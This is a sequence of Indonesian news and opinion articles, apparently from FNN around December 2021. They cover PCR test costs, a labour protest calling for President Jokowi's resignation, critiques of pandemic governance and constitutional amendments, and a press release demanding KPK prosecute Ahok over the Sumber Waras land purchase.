paparnya. Pelantikan tersebut juga dihadiri Sekjen DPP Golkar Lodewijk Freidrich Paulus, Pelaksana tugas Gubernur Sulsel, Andi Sudirman Sulaiman, Kapolda Sulsel Irjen Pol Nana Sujana, Pandam XIV Hasanuddin Mochamad Syafei Kasno, kepala daerah dari Golkar serta jajaran pengurus partai golkar. (sws)

Halo Pak Luhut dan Pak Erick, Hari Ini Saya Nyumbang PCR

By Asyari Usman Saat ini sedang di ruang tunggu bandara Kualanamo, Deli Serdang. Mau ke Jakarta. Sekadar kasih ‘polite notice’ kepada Pak Luhut BP dan Pak Erick Thohir bahwa saya kemarin bikin tes PCR. Kena 275 ribu, Pak. Saya enggak tahu apakah saya memperkaya para pebisnis PCR atau tidak. Wallahu a’lam. Dan saya juga enggak bilang siapa-siapa saja yang mengantungi laba dari bisnis PCR. Saya sebut nama Ente berdua di tulisan ini hanya karena hiruk-pikuk bisnis PCR belum lama berselang membawa nama sampeyan berdua. Jadi, jangan salah sangka pulak kepada saya. Saya cuma katakan, saya menyumbang ke bisnis PCR. Pak Luhut dan Erick, kebetulan Ente berdua pejabat tinggi pemerintah. Saya ingin mengatakan bahwa PCR 275 ribu itu berat sekali rasanya. Apalagi masa berlakunya hanya tiga (3) hari, Bro. Nanti waktu mau balik ke kampung, tampaknya saya akan ambil tes lagi. Karena hasil negatif tes PCR kemarin (9/12/2021) akan berlaku sampai 12/12/2021. Kalau saya naik kapal terbang lagi pada tanggal 14, berarti harus ambil tes lagi. Kenapa masa berlakunya tidak dipanjangkan saja seperti masa berlaku tes antigen tahun lalu? Saya ingat, hasil negatif antigen sepanjang 2020 berlaku 14 hari atau 12 hari kalau tak salah ingat. Padahal, sepanjang 2020 itu jumlah kasus Covid terbilang rata-rati tinggi. Sekarang, seperti Pak Luhut katakan sendiri, tingkat penularan rendah. Di bawah 400 per hari. Tidak lagi ribuan atau belasan ribu. Tentu wajar diperpanjang masa berlaku hasil negatif PCR. Syukur sekali kalau harga tes PCR bisa dipermurah, Pak. Ok Pak Luhut dan Pak Erick. Ini mau naik pesawat. Sorry ya kalau ada yang tak berkenan di hati.[] *) Wartawan senior FNN

Kemarin, Soal TNI Terlibat Kasus Tanah Hingga Arah Demokrasi

Jakarta, FNN - Beberapa berita politik kemarin, Kamis, menjadi perhatian pembaca dan masih menarik untuk dibaca kembali, dari Panglima TNI Jenderal Andika Perkasa meminta masyarakat untuk melaporkan jika ada keterlibatan oknum TNI dalam sengketa lahan atau kasus lainnya hingga Arah demokrasi RI di antara demokrasi Timur dan Barat. Berikut lima berita politik kemarin yang masih menarik untuk dibaca kembali: Panglima TNI minta masyarakat lapor jika ada TNI terlibat kasus tanah Panglima TNI Jenderal Andika Perkasa meminta masyarakat untuk melaporkan jika ada keterlibatan oknum TNI dalam sengketa lahan atau kasus lainnya. Selengkapnya baca di sini Mayjen TNI Teguh Muji Angkasa resmi jabat Danjen Kopassus Mayjen TNI Teguh Muji Angkasa resmi menjabat Komandan Jenderal Komando Pasukan Khusus (Kopassus) setelah Danjen Kopassus sebelumnya Mayjen TNI Mohamad Hasan menyerahkan tongkat komando kepemimpinan Korps Baret Merah, di Mako Kopassus, Cijantung, Jakarta Timur, Kamis. Selengkapnya baca di sini KSP dukung penguatan kerja sama pertahanan Indonesia-India Kepala Staf Kepresidenan (KSP) Moeldoko mendukung penguatan kerja sama Indonesia dan India, terutama di bidang pertahanan. Selengkapnya baca di sini Kelompok Milenial: Tepat Kapolri lantik eks pegawai KPK jadi ASN Polri Koordinator Penggerak Millenial Indonesia (PMI) M Adhiya Muzakki menilai Kapolri Listyo Sigit Prabowo melantik 44 eks pegawai KPK menjadi ASN Polri sebagai langkah yang sangat tepat. Selengkapnya baca di sini Arah demokrasi RI di antara demokrasi Timur dan Barat Dugaan tentang demokrasi di Indonesia yang terpengaruh nilai-nilai kebaratan telah mengemuka dalam beberapa tahun terakhir, bahkan semakin banyak disuarakan oleh berbagai kalangan di saat indeks demokrasi Tanah Air menurun dari tahun ke tahun.

Menkominfo: Peran Penting Pers di Era Demokrasi

Jakarta, FNN - Menteri Komunikasi dan Informatika (Menkominfo) Johnny G Plate mengatakan pers mempunyai peran penting di era demokrasi. "Kemerdekaan pers merupakan wujud kedaulatan rakyat dan menjadi unsur yang sangat penting dalam kehidupan bermasyarakat, berbangsa dan bernegara yang demokrtatis," kata Staf Khusus Menkominfo, Niken Widiastuti saat membacakan sambutan tertulis menkominfo pada acara Anugerah Dewan Pers (ADP) tahun 2021 di Jakarta, Kamis malam. Kata Menkominfo, kemerdekaan pers merupakan kemerdekaan mengeluarkan pendapat dan pikirian harus dijamin, sebagaimana tercantum dalam pasal 28 UUD 1945. Peranan pers juga sangat penting bagi masyarakat untuk mengetahui, menegakkan nilai-nilai dasar demokrasi, mendorong terwujudnya supremasi hukum dan hak asasi manusia, menghormati kebhinnekaan, mengembangkan pendapat umum berdasarkan informasi yang tepat, akurat dan benar. Selain itu, melakukan pengawasan, kritik dan koreksi dan saran terhadap hal-hal yanh berkaitan dengan kepentingan umum dan memperjuangkan keadilan dan kebenaran. "Sedemikian berat tugas pers," ujar Menkominfo. Menurut dia, kebebasan pers di Indonesia semakin hari semakin membaik. Hal itu terbukti dari indeks kebebasan pers di Indonesia berada pada angka 76,02 poin pada tahun 2021, atau naik 0,75 poin dibandingkan tahun 2020. "Ini disebabkan meningkatnya kualitas dan profesionalisme di bidang pers," kata Menkominfo menegaskan. Dewan Pers menggelar Anugerah Dewan Pers (ADP) tahun 2021 sebagai bentuk apresiasi kepada para insan pers dalam mewujudkan kemerdekaan pers di Indonesia. "Anugerah ini untuk membangun satu budaya, satu tradisi untuk mengucapkan terimakasih kepada siapapun yang punya prestasi," jelas Ketua Dewan Pers, Muhammad Nuh. Dewan pers mengajak semua pihak untuk memberikan apresiasi dan terimakasih kepada seluruh anak bangsa, yang memiliki prestasi dan pemikiran positif. Ketua panitia pelaksana Asep Setiawan menjelaskan proses penyelenggaraan ADP 2021 dimulai dengan konsultasi kepada Konstituen Dewan Pers dan Masyarkat Pers untuk merumuskan tujuan, kriteria dan kategori Anugerah Dewan Pers. Bahkan proses pengajuan nominator disampaikan oleh Konstituen Dewan Pers. Dari proses ini terdapat 117 media dan ratusan karya jurnalistik, 45 wartawan serta belasan nama lembaga dan perorangan. (sws)

Demo Buruh Jokowi Mundur

By M Rizal Fadillah Demo buruh tanggal 8 Desember 2021 yang bergerak menuju depan Gedung DPR/MPR diwarnai dengan spanduk yang mengkritik Putusan MK mengenai pembatalan Omnibus law UU Cipta Kerja. Putusan Mahkamah Konstitusi dalam tulisan spanduk disebut banci, inkonstitusional, makelar, merusak demokrasi hingga bubarkan Kabinet Jokowi-Makruf serta Jokowi Mundur. Memang tepat pertanggungjawaban akhir dari karut marut UU Cipta Kerja ada pada Presiden. Dua konten spanduk bubarkan Kabinet Jokowi-Ma'ruf dan Jokowi Mundur adalah sangat beralasan. Meski DPR ikut bertanggung jawab namun semua tahu bahwa DPR telah habis terkooptasi untuk menyetujui kemauan penguasa yang sangat berkhidmat pada pengusaha. Kegagalan UU Cipta Kerja untuk mengundang investasi impian, juga menjadi bagian yang harus dipertanggungjawabkan oleh Jokowi dan Kabinetnya. Tuduhan bahwa MK menjadi makelar Konstitusi karena buruh melihat Putusan bias itu masih dalam rangka kepentingan penguasa dan pengusaha. Bermain pada klausul "perbaiki 2 (dua) tahun". Jokowi mundur adalah desakan rasional dan konstitusional. Rasional karena Jokowi telah gagal memimpin bangsa. Ekonomi, politik, agama, kesehatan, keamanan, hukum dan HAM tampak belepotan. Menangani masalah dengan menimbulkan masalah baru. Omnibus law hanya salah satu bukti dari masalah dan kegagalan tersebut. Konstitusional karena Presiden dimungkinkan untuk mundur atau dimundurkan pada masa jabatannya. Pasal 7A dan 8 ayat (3) UUD 1945 mengatur kemungkinan tersebut. Sejak "terpilih" dalam Pilpres 2019 lalu, Presiden Jokowi dipertanyakan kemampuan, Integritas, serta kelayakannya untuk menjadi Presiden RI. Demo buruh kini merebut porsi mahasiswa dalam berdemonstrasi. Sistem komando Serikat Pekerja berjalan efektif di tengah acak-acakannya gerakan kemahasiswaan. Aspirasi aksi buruh kini semakin jelas, yaitu Jokowi mundur. Unik dan sistematik. Pemberian waktu 2 tahun justru akan menjadi boomerang bagi Pemerintah karena itulah waktu strategis untuk menggelorakan aksi-aksi buruh berkelanjutan. Akan terjadi eskalasi gumpalan perjuangan melawan kezaliman. Putusan banci "by design" MK mengenai pembatalan UU Cipta Kerja menyebabkan muncul aksi yang telah menemukan sinergitas bahasa untuk aspirasi rakyat pada umumnya, yaitu : "Jokowi Mundur !". *) Pemerhati Politik dan Kebangsaan

Bincang Sejenak Hal Statscriminaliteit

Oleh Ridwan Saidi KH DR Idham Khalid secara informal sering mengundang orang sekadar omong-omong ringan. Pada foto di atas dari kanan HMS Mintareja, Pak Idham, Lukman Harun tokoh Muhamadiyah, dan Ridwan Saidi. Ini tahun 1977. Pak Idham lembut hati, kalau beri nasihat enak. Saya suka berambut panjang. Kata Pak Idham, Ridwan potong rambut saudara sedikit saja, supaya bagus dilihat. Pak Mintareja juga tak bersikap formal walau dia menteri. Saat kepemimpinan PPP pindah ke J. Naro, Pak Min bicara pendek ke saya, hadapilah. Dengan tokoh-tokoh Masyumi seperti Mr Roem memang saya belajar hukum. Di FH-IPK UI saya belajar hukum empat semester. Juga dengan Dahlan Ranuwihardjo SH, senior di HMI. Akhir-akhir ini perubahan UUD 45 sebanyak empat kali dipersoalkan kembali. Apakah mengubah UUD 45 secara onrechterlijk (format tak dikenal secara hukum) tergolong dalam statscriminaliteit (kejahatan dengan a/n lembaga negara)? Kalau kejahatan terhadap negara criminaliteit aan de stat. Di masa kerajaan Rao (ref Ibnu BATHUTAH) dan era zona ekonomi Pasuruan (ref MENDEZ PINTO) hukuman terkejam dijatuhkan pada pelaku perbuatan criminaliteit aan de stat, misal coup d'etat. Ubah UUD 45 secara onrechterlijk apakah berpotensi sebagai statscriminaliteit? Bagaimana dengan naskah perubahan itu yang sudah ditolak untuk ditempatkan dalam Lembaran Negara kenapa masih diberlakukan? Pemberlakuan ini dapatkah dikatakan onrechtmatigdad atau tata cara di luar hukum? Konstitusi sekarang diberlakukan dengan geruijsloos (de facto) dan bukan de jure, kalau ini perbuatan pelanggaran maka untuk perbuatan ini tak berlaku ketentuan verjaaring (lewat waktu) . Ubah UUD 45 secara tidak lazim dapat sebabkan susunan organisasi negara sulit divisualisasi dengan skema. Bagaimana menempatkan MK dalam struktur kenegaraan secara skematis. Menuduh UUD 45 18/8/45 wujudkan negara integralistik, tapi sambil mengubah-ubah UUD 45, malah itu berpotensi ciptakan negara disintegralistik. Tanpa harus mencari dimana letak kesalahan, kasus Menko Luhut umumkan pembatalan PPKM level 3, yang disusul 1 - 2 jam kemudian dengan Gubernur DKI Anies bacakan Kep Gub pemberlakuan PPKM level 3 untuk daerah DKI, walau esok harinya Kep Gub DKI dicabut, tetap ini bukan presentasi kenegaraan yang baik. Di USA dan di manapun ada lembaga tertinggi negara, di USA namanya Congress. Di Indonesia kini sudah tak ada lagj lembaga tertinggi. Malah hutang yang makin tinggi. *) Budayawan

Keserakahan di Tengah Pandemi (1) Tinjauan Kritis Terhadap Kepemimpinan Otoriter dan Oligarki di Indonesia

Oleh Gde Siriana *) ISI buku ini diawali dengan kondisi sebelum serangan Pandemi COVID-19 datang hingga gejala-gejala yang nampak sebagai dampak dari pandemi, terutama pada aspek kesehatan masyarakat, ekonomi negara maupun ekonomi masyarakat. Dan, ketika dibandingkan dengan utang yang dicetak pemerintah Presiden Joko Widodo untuk mengatasi pandemi dan pemulihan ekonomi. Penulis sampai pada hipotesis: ada yang salah dalam cara pemerintah merespons dan mengatasi pandemi. Penulis akan mengkonfirmasi hipotesis tersebut, untuk mendapatkan jawaban terhadap dua hal. Pertama, bagaimana kepemimpinan presiden Jokowi dan sejauh mana mendayagunakan kapasitas negara yang terbatas dalam merespon dan memperkecil dampak pandemi. Kedua, sejauh mana oligarki yang ada memanfaatkan situasi krisis untuk kepentingannya. Metodelogi dalam penyusunan buku ini adalah pendekatan kualitatif-deskriptif dengan studi kasus penanganan pandemi Covid-19 di Indonesia yang membandingkan antara kondisi sebelum dan di masa pandemi. Analisa dan pembahasan didasarkan pada telaah kepustakaan, wawancara, FGD (Focused Group Discussion atau Diskusi Kelompok Terpandu) dan informasi berbagai media, termasuk artikel-artikel penulis yang telah dimuat di Koran Tempo, The Jakarta Post, Forum News Network (FNN), Rakyat Merdeka On Line (RMOL), Teropong Senayan dan Law-Justice. Pandemi Covid-19 telah menunjukkan bahwa ketidakmampuan Presiden Jokowi dalam merespon dan mengatasi pandemi telah menyebabkan jatuhnya banyak korban jiwa, baik itu tenaga medis maupun masyarakat umum. Tidak itu saja, penderitaan masyarakat bertumpuk sebagai dampak pandemi pada ekonomi rakyat, tetapi di sisi lain bantuan pemerintah tidak memadai dibandingkan dengan beban yang harus dipikul masyarakat. Ironisnya, utang yang diciptakan pemerintah dengan alasan penanganan pandemi dan pemulihan ekonomi tidak dapat dirasakan oleh masyarakat sebagaimana yang dibayangkan dari besarnya nilai utang yang ditarik pemerintah. Kepemimpinan populis Jokowi menyebabkan kebijakan pemerintah terlambat, saling tumpang tindih serta membingungkan rakyat dan birokrasi di daerah, sehingga pelaksanaan PSBB dan PPKM tidak efektif dalam menekan angka kasus dan jumlah korban jiwa akibat pandemi. Rakyat merasakan negara tidak hadir dalam situasi krisis karena rakyat harus bertahan hidup di tengah ancaman penularan virus dengan mengandalkan pertolongan teman, tetangga dan saudara. Kebijakan pemerintah, salah satunya dalam belajar daring, diputuskan dengan tidak memahami situasi dan kondisi masyarakat yang sedang kesusahan maupun persoalan ketimpangan sarana-prasarana, sehingga kebijakan ini justru menambah beban masyarakat. Kepemimpinan populis Jokowi yang meremehkan Covid-19 sejak awal pandemi juga menyebabkan masyarakat tidak waspada, sehingga tidak mengambil keputusan yang tepat untuk merespon situasi krisis. Misalnya, banyak pelaku ekonomi kecil dan menengah yang masih mengambil kredit atau melakukan eskpansi usaha sesaat sebelum status pandemi diumumkan pemerintah karena yakin dengan sikap pemerintah bahwa pandemi tidak akan melanda Indonesia. Hal ini kemudian menjadi beban berat masyarakat yang berkepanjangan, usahanya macet sekaligus tercekik pembayaran cicilan pinjaman. Penulis mengajukan model kepemimpinan 4T untuk merespon pandemi dan situasi krisis yang diakibatkannya, yaitu Tanggap, Terstruktur, Teratur dan Terukur. Dengan model kepemimpinan ini, misalnya Tracing, Tracing, dan Treatment (3T) dapat dioptimalkan dan terarah sejak awal. Kepemimpinan otoriter Jokowi selama pandemi juga semakin nampak dari politik pemerintahannya yang lebih mengedepankan kekuasaan daripada pendekatan kesehatan. Menyikapi kedaruratan pandemi dengan cara menyiasati aturan-aturan yang berlaku dengan memberi kekebalan hukum kepada pejabat negara melalui UU No.2 tahun 2020, ini merupakan jalan pintas darurat yang anti nilai-nilai demokratis. Tidak itu saja, ini memberi pintu kepada oligarki dan pemburu rente yang berjenis Peng-Peng untuk memanfaatkan situasi krisis demi keuntungan ekonomi yang besar dan kepentingan-kepentingan lainnya. Berbagai suara kritis di masyarakat terhadap cara presiden Jokowi menghadapi pandemi disikapi sebagai ancaman bagi kekuasaan, sehingga semua yang mengkritisi pemerintah dianggap sebagai oposisi. Bahkan buzzer pun dikerahkan untuk melawan kritik-kritik yang menjadi viral di media sosial dan membentuk opini bahwa kritik tersebut dilandasi dendam politik Pilpres 2014 dan 2019. Ini menjadi bukti presiden Jokowi juga gagal menyelesaikan pembelahan sosial (divided society) yang merupakan residu Pilpres. Ketidakpercayaan masyarakat muncul sebagai akibat dari berbagai kebijakan pemerintah dan kepemimpinan Jokowi yang populis-otoriter. Kepercayaan publik sesungguhnya adalah modal dasar yang diperlukan pemerintah di saat negara sedang krisis agar dapat memobilisasi semua sumber daya yang ada dan membangun solidaritas seluruh masyarakat, dengan demikian pelaksanaan kebijakan dan program untuk mengatasi pandemi menjadi efektif karena didukung seluruh masyarakat. Kapasitas kesehatan negara selama ini tidak mendapat perhatian khusus pemerintah agar lebih seimbang dengan populasi penduduk sehingga pelayanan kesehatan kepada masyarakat lebih memadai. Bahkan tidak ada persiapan jauh-jauh hari untuk menambah kapasitas kesehatan sebagai bentuk respons yang paling mendasar dan utama untuk menyelamatkan kesehatan rakyat manakala terjadi pandemi hebat seperti Covid-19. Setidaknya ada waktu 3 bulan untuk mempersiapkan kapasitas kesehatan, yaitu antara Desember 2019-Maret 2020. Lumpuhnya layanan kesehatan di rumah sakit memberi kontribusi pada banyaknya korban jiwa selama pandemi di Indonesia. Our World in Data per 20 Oktober 2021 mencatat jumlah kematian Covid-19 Indonesia (143.120 jiwa) merupakan yang tertinggi di Asia Tenggara, dan tingkat kematian (rasio kematian terhadap jumlah kasus) di Indonesia nomor dua di Asia Tenggara setelah Myanmar (3,38 persen). Dampak pandemi telah berdampak kuat dan dalam pada perekonomian nasional. Tetapi sesungguhnya sebelum pandemi, ekonomi Indonesia di era Presiden Jokowi sudah menunjukkan performance yang rendah, bahkan bisa disebut buruk. Rendahnya kinerja ekonomi Indonesia pada 2014-2019, setidaknya dapat dilihat dari empat indikator, yakni pertumbuhan yang stagnan, beban berat APBN akibat utang pemerintah yang semakin membengkak untuk menutup defisit, kurs rupiah yang melemah terhadap Dolar AS, serta tingginya angka kemiskinan, pengangguran, dan kesenjangan. Rata-rata pertumbuhan ekonomi Indonesia sebelum pandemi hanya sekitar 5 persen per tahun. Pada kuartal ke-1 tahun 2020 ekonomi Indonesia masih tumbuh 2,97 persen. Tapi pada kuartal ke-2 merosot tajam hingga terkontraksi 5,51 persen, kuartal ke-3 kembali minus 3,49%, dan menutup tahun 2020 terkontraksi 2,07 persen. Indonesia resmi mengalami resesi setelah kuartal ketiga tahun 2020. turunnya pendapatan nasional bruto (GNI) per kapita menurunkan Indonesia dari negara berpendapatan menengah atas (upper middle income country) menjadi negara berpendapatan menengah bawah (lower middle income country). Pendapatan per kapita Indonesia pada tahun 2019 tercatat 4.050 dollar AS, namun pada tahun 2020 pendapatan per kapita Indonesia hanya sebesar 3.870 dollar AS. Utang yang ditarik untuk mengatasi krisis kesehatan dan pemulihan ekonomi nasional telah menambah beban keuangan negara, dimana sebelum pandemi utang pemerintah dan BUMN sudah menumpuk. Sedangkan penerimaan negara dari perdagangan dan pajak tidak mampu untuk menyelamatkan APBN kecuali menambah lagi utang. Di sisi lain, situasi krisis ekonomi yang berkepanjangan di masa pandemi memperbesar potensi BUMN bangkrut. Ekonomi masyarakat pun dalam menghadapi situasi sulit dalam jangka panjang karena Usaha Menengah Kecil Mikro (UMKM) membutuhkan anggaran yang besar untuk bangkit kembali di saat daya beli masyarakat telah merosot. (Bersambung) *) Penulis Buku “Keserakahan di Tengah Pandemi”

Bukti Korupsi Sudah Jelas, Tangkap dan Adili Ahok

Jakarta, FNN - Marwan Batubara, Direktur Eksekutif IRESS, dan deklarator KAMI meminta KPK segera tangkap dan adili Basuki Tjahaja Utama alias Ahok. Demikian siaran pers IRESS dalam rangka Peringatan Hari Anti Korupsi Sedunia 2021 yang diterima FNN, Kamis (09/12/2021) di Jakarta. Marwan mengingatkan bahwa pada 17 Juli 2017 yang lalu, pihaknya telah melaporkan kepada KPK kasus-kasus dugaan korupsi yang dilakukan oleh Ahok selama menjabat sebagai Bupati Belitung Timur dan Gubernur DKI Jakarta. Namun hingga saat ini tidak terlihat upaya serius dari KPK untuk menindaklanjuti laporan tersebut. Padahal dugaan korupsi tersebut jelas melanggar hukum dan berpotensi pula merugikan negara triliunan rupiah, serta alat-alat bukti untuk sebagian kasus tersebut telah lebih dari cukup. Dalam rangka memperingati Hari Anti Korupsi Sedunia 2021 Marwan mengulang kembali laporan IRESS, khususnya terkait tentang kasus dugaan korupsi lahan Rumah Sakit Sumber Waras (RSSW). Apalagi, berdasarkan audit yang dilakukan Badan Pemeriksaan Keuangan (BPK) temuan-temuan berupa pelanggaran hukum dan potensi kerugian negara dalam kasus tersebut sudah material dan lebih dari cukup untuk diproses di pengadilan. Hanya karena sikap Pimpinan KPK yang kami anggap sangat menyimpang dan melindungi Ahok-lah maka kasus tersebut dihentikan. Marwan mengingatkan agar Pimpinan KPK berpegang teguh pada Sumpah Jabatan, dan tidak lagi terus-menerus mencari dalih untuk menyelamatkan Ahok dari proses hukum. Indonesia adalah negara hukum. Setiap orang mempunyai kedudukan yang sama dalam hukum, termasuk Ahok! Jangan sampai rakyat bertindak sendiri untuk mengadili Ahok! Adapun ringkasan kasus dugaan korupsi RSSW diuraikan berikut ini. Pembelian lahan RSSW mencuat setelah BPK Perwakilan DKI Jakarta menyampaikan Laporan Hasil Pemeriksaan (LHP) Keuangan Pemerintah Provinsi DKI Jakarta Tahun 2014 pada Sidang Paripurna DPRD Provinsi DKI Jakarta, 6 Juli 2015. Hasil pemeriksaan atas Laporan Keuangan Pemerintah Provinsi DKI Jakarta Tahun 2014, mengungkap terdapat 70 temuan senilai Rp 2,16 triliun, yang terdiri atas temuan yang berindikasi kerugian daerah senilai Rp 442,37 miliar, potensi kerugian daerah senilai Rp 1,71 triliun, kekurangan penerimaan daerah senilai Rp 3,23 milyar, administrasi senilai Rp 469,51 juta dan pemborosan senilai Rp 3,04 miliar. Dari temuan tersebut, terungkaplah kasus dugaan korupsi pengadaan tanah RSSW. Pengadaan lahan RSSW ini dilakukan melalui proses yang melanggar berbagai undang-undang dan peraturan, sehingga terindikasi merugikan daerah senilai Rp 191,33 milyar. BPK juga merekomendasikan untuk melakukan upaya pembatalan pembelian tanah RSSW seluas 36.410 m2 dengan pihak Yayasan Kesehatan Sumber Waras (YKSW). Jika pembatalan tidak dapat dilaksanakan, Pemda direkomendasikan agar meminta pertanggungjawaban pihak YKSW sesuai ketentuan yang berlaku. Pada 6 Agustus 2015, KPK meminta BPK melakukan audit investigatif atas pembelian lahan tersebut dan laporan hasil pemeriksaan audit investigatif tersebut diserahkan kepada KPK pada 7 Desember 2015. Dalam laporan audit tersebut, BPK menyebutkan terjadi enam penyimpangan terkait proses pembelian lahan RSSW, yaitu penyimpangan dalam tahap perencanaan, penganggaran, pembentukan tim, pengadaan pembelian lahan RS Sumber Waras, penentuan harga, dan penyerahan hasil-hasil. Pemprov DKI Jakarta tidak membuat studi kelayakan lokasi dan perkiraan nilai tanah sebagaimana diatur pada pasal 6 ayat (1) huruf b dan d Perpres No.71/2012. Kelayakan lokasi sebagaimana dimaksud pada ayat (1) hurub b, perlu dilakukan untuk menghasilkan analisis mengenai kesesuaian fisik lokasi dengan rencana pembangunan yang akan dilaksanakan untuk kepentingan umum yang dituangkan dalam bentuk peta rencana lokasi pembangunan. Lokasi tanah yang dibeli Pemprov DKI Jakarta (yang akan digunakan/dibangun Rumah Sakit) ternyata tidak mempunyai akses ke jalan raya. Perkiraan nilai tanah sebagaimana dimaksud pada ayat (1) huruf d Perpres No.71/2012, dilakukan untuk menghasilkan perkiraan besarnya nilai Ganti Kerugian Objek Pengadaan Tanah. Harga tanah yang dibayar Pemprov DKI Jakarta tidak berdasarkan Penilai internal maupun Penilai Publik (appraisal). Hal ini melanggar pasal 6 ayat (1) huruf d dan pasal 6 ayat (5). BPK dalam LHP-nya juga menilai lahan yang dibeli Pemprov DKI bukan terletak di Jl. Kyai Tapa tetapi di Jl. Tomang Utara yang nilai NJOP-nya jauh lebih rendah. Penyimpangan lain adalah penerbitan Surat Perintah Membayar (SPM) Pencairan Dana Pembelian RSSW tanpa disertai dokumen pendukung yang lengkap. Bahkan, ada sejumlah dokumen pendukung dimanipulasi dengan modus backdated. Waktu penerbitan Surat Pernyataan Tanggung Jawab dari Kepala Dinas Kesehatan DKI Jakarta Dien Emawati atas pelaksanaan pengadaan tanah yang ditulis tanggal 15 Desember 2014 dan Surat Penetapan Harga Pembelian Tanah YKSW Nomor 4532 Tahun 2014 tertanggal 11 Desember2014 ternyata dimanipulasi. Kedua dokumen itu menunjukkan baru disiapkan pada 22 Desember 2014, atau seminggu lebih lama dari tanggal yang dituliskan. Penandatanganan kedua dokumen tersebut dilakukan setelah tanggal penandatanganan Akta Pelepasan Hak, 17 Desember 2014. Hal itu diakui oleh Dien Emawati dalam pemeriksaan BPK. Bendahara Pengeluaran Dinkes DKI Bunyamin mengakui SPM pencairan duit pembelian Sumber Waras tetap diajukan, meskipun sejumlah dokumen kelengkapan belum terpenuhi pada 15 Desember 2014. Bahkan, syarat dokumen seperti SK Gubernur Nomor 2136 tahun 2014 tentang Penetapan Lokasi yang tanggal terbitnya sudah dimanipulasi turut disertakan sebagai syarat penerbitan SPM. Dokumen lain yang dimanipulasi adalah Daftar Nominatif yang diberi tanggal 12 Desember ternyata baru selesai diproses 22 Desember, mengacu pada temuan data properties softcopy file. Artinya, semua berkas itu secara administratif baru lengkap seminggu melewati batas waktu penyampaian SPM yang diatur dalam Instruksi Gubernur No. 152/2014, yang menetapkan semua berkas paling lambat harus masuk sebelum 15 Desember 2014 pukul 24.00. Ahok pun menerbitkan Instruksi Gubernur No.167/2014 tentang Perubahan Batas Waktu Penyampaian SPM Tahun Anggaran 2014, yang isinya khusus SPM pengadaan tanah untuk kepentingan umum diperpanjang sampai 29 Desember 2014 pukul 18.00. Anehnya, Instruksi Gubernur ini berlaku pada tanggal ditetapkan 22 Desember 2014, yang kebetulan bertepatan dengan kelengkapan penyerahan berkas SPM Sumber Waras. Sebenarnya banyak keanehan lain yang dapat dikategorikan sebagai manipulasi dan pelanggaran hukum yang terjadi dalam kasus dugaan korupsi lahan RSSW ini, dan dapat ditelusuri dengan gamblang dalam laporan BPK yang disebutkan di atas. Dengan demikian, sebenarnya cukup mudah bagi KPK untuk menuntaskan kasus ini, sepanjang ada niat baik untuk menegakkan hukum dan keadilan tanpa pandang bulu. Terlepas dari pelanggaran-pelanggaran hukum yang telah kami sebutkan di atas, secara ringkas dapat pula kami sampaikan berbagai pelanggaran hukum dan potensi kerugian negara yang dilakukan oleh Ahok dalam pembelian lahan Rumah Sakit Sumber Waras (RSSW) sebagai berikut: • Mengbah nomenklatur R-APBD 2014 tanpa persetujuan DPRD DKI, dan memanipulasi dokumen pendukung pembelian lahan dengan modus backdated; • Mengabaikan rekomendasi BPK untuk membatalkan pembelian lahan RSSW. Hal ini melanggar Pasal 20 Ayat 1 UU No.15/2004 tentang Pemeriksaan Pengelolaan Dan Tanggung Jawab Keuangan Negara; • Berpotensi merugikan negara Rp 191 miliar. Hal ini melanggar Pasal 13 Undang-Undang No.2/2012 tentang Pengadaan tanah bagi Kepentingan Umum dan Pasal 2 Perpres No.71/2012 tentang Pengadaan Tanah bagi Pembangunan untuk Kepentingan Umum; • Berpotensi adanya tambahan kerugian negara Rp 400 miliar karena Kartini Muljadi hanya menerima Rp 355 miliar dari nilai kontrak sebesar Rp 755 miliar, sisanya telah digelapkan, Ahok harus mempertanggungjawabkan penggelapan uang negara ini!; • Berpotensi menimbulkan tambahan kerugian negara miliaran Rp dari sewa lahan, dan hal ini bertentangan dengan Pasal 6 Permendagri No.17/2007, PP No. 27/2014 dan UU No 17/2003. KPK telah berlaku tidak profesional dalam penanganan kasus-kasus dugaan korupsi, sehingga terkesan “pilih-tebang” dan membuat sejumlah kasus korupsi besar justru dihentikan. KPK dinilai abai, zolim dan sengaja melupakan kasus-kasus korupsi bernilai miliaran atau triliunan Rp, seperti skandal mega-korupsi Bank Century, Hambalang, Reklamasi Teluk Jakarta dan RSSW. Dalam penanganan kasus-kasus tersebut KPK dinilai terus mencari-cari alasan agar proses hukum dihentikan. Salah satu tujuannya adalah untuk menyelamatkan Ahok dari proses hukum. Di sisi lain, dalam rangka menjaga citra dan agar tetap mendapat dukungan publik guna mempertahankan eksistensi, KPK terlihat sangat aktif mengusut kasus-kasus korupsi bernilai ratusan juta Rp melalui operasi tangkap tangan (OTT). Bahkan dalam beberapa kasus, dinilai status OTT terhadap “objek” yang menjadi sasaran KPK sedikit dipaksakan, atau bahkan terindikasi bernuansa politis. Sikap dan sepak terjang KPK seperti di atas tentu jauh dari harapan publik. Bahkan yang lebih penting, kebijakan dan pola kerja yang ditempuh KPK tersebut telah membuat pemberantasan korupsi di Indonesia berjalan di tempat, dan tujuan awal pembentukan KPK sesuai amanat reformasi dan perintah UU KPK semakin jauh dari target yang ingin dicapai. Kami tidak ingin KPK berubah peran menjadi alat politik penguasa, sehingga menimbulkan adanya “penyanderaan” atau barter kasus yang berujung pada dihentikannya proses hukum. Kami pun tidak mengharapkan bertambah atau berubahnya peran KPK menjadi bagian dari perangkat politik penguasa guna “menjinakkan” para pimpinan partai yang menjadi lawan politik penguasa. Marwan juga sangat khawatir KPK berubah menjadi lembaga pelindung koruptor guna mengamankan kepentingan oligarki penguasa-pengusaha. Sikap KPK ini terlihat dalam menangani kasus-kasus korupsi yang melibatkan Ahok. Untuk maksud tersebut, pimpinan KPK sampai perlu membuat pernyataan “absurd” bahwa Ahok tidak memiliki niat jahat, meskipun alat bukti guna memproses kasus sudah lebih dari cukup, seperti terjadi pada penyelidikan awal kasus RSSW. Sehubungan dengan uraian di atas, Marwan meminta agar KPK segera melanjutkan kembali proses hukum terhadap Ahok terutama pada kasus lahan RSSW, bukan malah menghentikannya. Alat-alat bukti permulaan sudah jauh lebih dari cukup untuk memproses Ahok ke pengadilan. Dengan demikian, KPK sekaligus dapat membuktikan diri bukan berperan sebagai lembaga pelindung koruptor, alat politik penguasa, atau bagian dari oligarki penguasa-pengusaha guna mempertahankan dominasi. Dalam rangka peringatan Hari Anti Korupsi Sedunia 2021, bersama seluruh rakyat Indonesia yang anti korupsi dan anti dominasi oligarki pelindung koruptor, tuntutan ini kembali kami sampaikan. (sws)

Satu Yard Pun Tidak Akan Mundur

